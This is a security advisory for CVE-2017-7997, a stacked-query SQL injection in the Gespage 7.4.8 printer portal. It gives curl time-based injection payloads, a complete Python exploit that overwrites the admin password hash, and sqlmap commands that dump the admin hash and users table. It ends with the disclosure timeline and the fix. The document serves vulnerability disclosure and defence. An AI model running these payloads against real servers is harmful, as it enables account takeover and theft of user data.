Gespage 7.4.8 SQL Injection

Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# [CVE-2017-7997] Gespage SQL Injection vulnerability ## Description Gespage is a web solution providing a printer portal. Official Website: The web application does not properly filter several parameters sent by users, allowing authenticated SQL code injection (Stacked Queries - comment). These vulnerabilities could allow attackers to retrieve / update data from the database through the application. **CVE ID**: CVE-2017-7997 **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-89 **CVSS Base Score**: 8.6 **CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N ### Proof of Concept (dumping database data) The parameters of these following pages are vulnerable: * Page: http://URL/ges/webapp/users/prnow.jsp Parameter: show_prn HTTP Method: Post * Page: http://URL/ges/webapp/users/blhistory.jsp Parameter: show_month HTTP Method: Post * Page: http://URL/ges/webapp/users/prhistory.jsp Parameter: show_month HTTP Method: Post We can then detect the SQL Injection by requesting the server with the curl tool, including a simple payload executing a sleep of different seconds: * Normal request: ``` curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d "show_prn=1" --insecure -w "\nResponse Time:%{time_total}\n" Curl output: Response Time:0,122 ``` * Sleep Injection of 3 seconds into the request: ``` curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d "show_prn=1');SELECT PG_SLEEP(3)--" --insecure -w "\nResponse Time:%{time_total}\n" Curl output: Response Time: 3,126 ``` * Sleep Injection of 6 seconds into the request: ``` curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d "show_prn=1');SELECT PG_SLEEP(6)--" --insecure -w "\nResponse Time:%{time_total}\n" Curl output: Response Time: 6,126 ``` We created a dedicated python script to change the web admin password in order to compromise the web application: ``` #!/usr/bin/env python # -*- coding: utf-8 -*- """ $ python -c e06d40bc855c98751a5a2ff49daa -i -p 12345 [+] Generating the new admin password hash => Password hash (sha1) to inject in the Database: 8cb2237d0679ca88db6464eac60da96345513964 [+] Verifying connection to the web interface: => Connection OK [+] Exploiting the SQL injection => Vulnerable page: => Posting Data : show_prn=A-PRINTER-ON-THE-WEB-LIST');UPDATE param_gespage SET param_value='8cb2237d0679ca88db6464eac60da96345513964' WHERE param_id='admin_pwd'-- [+] Go to the web admin interface, and log on with admin:12345 """ from argparse import ArgumentParser from hashlib import sha1 from requests import Session from urllib3 import disable_warnings def exploit(args): if args.ip_url[-1] != "/": args.ip_url += "/" print "[+] Generating the new admin password hash" new_admin_pwd_hash = sha1(args.password).hexdigest() print " => Password hash (sha1) to inject in the Database: %s" % (new_admin_pwd_hash) print "[+] Verifying connection to the web interface: %s" % (args.ip_url) web_session = web_connection(args.ip_url, args.cookie) print "[+] Exploiting the SQL injection" sql_injection(args.ip_url, web_session, args.cookie, new_admin_pwd_hash) print "[+] Go to the web admin interface, %s and log on with admin:%s" % (args.ip_url.replace('gespage', 'admin'), args.password) def sql_injection(url, session, user_cookie, new_admin_pwd_hash): vulnerable_url = url + "webapp/users/prnow.jsp" sql_update_query = "UPDATE param_gespage SET param_value='%s' WHERE param_id='admin_pwd'" % (new_admin_pwd_hash) sql_injection_payload = "A-PRINTER-ON-THE-WEB-LIST');%s--" % (sql_update_query) print " => Vulnerable page: %s" % (vulnerable_url) print " => Posting Data : show_prn=%s" %(sql_injection_payload) response =, cookies={"JSESSIONID":user_cookie}, verify=False, allow_redirects=True, data={"show_prn":sql_injection_payload}) if not response.status_code == 200: print " There is an error while posting the payload, try with" exit(2) def web_connection(url, user_cookie): disable_warnings() session = Session() response = session.get(url, verify=False, allow_redirects=False, cookies={"JSESSIONID":user_cookie}) if (response.status_code == 302 and "webapp/user_main.xhtml" in response.text): print " => Connection OK" return session else: print " /!\ Error while connecting the web interface with the specified JSESSIONID cookie" print " => Make sure given application URL and JSESSIONID cookie are correct " exit(1) if __name__ == '__main__': parser = ArgumentParser(description='Exploit Gespage SQL injection by updating the admin password. You must create then specify an existing user in order to exploit the vulnerability') parser.add_argument('-i','--ip_url', help='The web interface URL, ex: http://IP_ADDRESS:7181/gespage/',required=True) parser.add_argument('-c','--cookie', help='JSESSIONID cookie of an authenticated user',required=True) parser.add_argument('-p','--password', help='New admin password',required=True) exploit(parser.parse_args()) ``` Using [sqlmap](, it is also possible to dump the content of the database, write other data, etc. Dumping the admin password hash (if changed from the initial 123456 password): ``` python -u "https://URL:7181/gespage/users/prnow.jsp" --cookie="JSESSIONID=YOUR_COOKIE_HERE" --data="show_prn=A-PRINTER-ON-THE-WEB-LIST" --dbms=PostgreSQL --risk 3 --level 5 --technique TS -D public -T param_gespage -C param_value --time-sec 2 --dump --flush-session ``` Dumping the users table: ``` -u "https://URL:7181/gespage/users/prnow.jsp" --cookie="JSESSIONID=YOU_COOKIE_HERE" --data="show_prn=A-PRINTER-ON-THE-WEB-LIST" --dbms=PostgreSQL --risk 3 --level 5 --technique TS -D public -T users --time-sec 2 --dump ``` ## Timeline (dd/mm/yyyy) * 06/03/2017 : Initial discovery * 13/03/2017 : First contact attempt (Web form) * 21/04/2017 : Second contact attempt (public e-mail address) * 23/06/2017 : Phone call and successful e-mail contact * 23/06/2017 : Technical details sent to the editor * 20/07/2017 : No reply, follow-up e-mail * 27/07/2017 : Reply: fix planned for major release 7.5.0 in late September * 17/09/2017 : Informing the editor that we would publish in October * 3/10/2017 : Feedback from Gespage informing us that the issue has been fixed with version 7.4.9. * 02/01/2018 : Release of the advisory ## Fixes Upgrade to Gespage 7.4.9 ## Affected versions * Versions up to 7.4.8 ## Credits * Mickael KARATEKIN <> -- SYSDREAM Labs <> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: * Twitter: @sysdream

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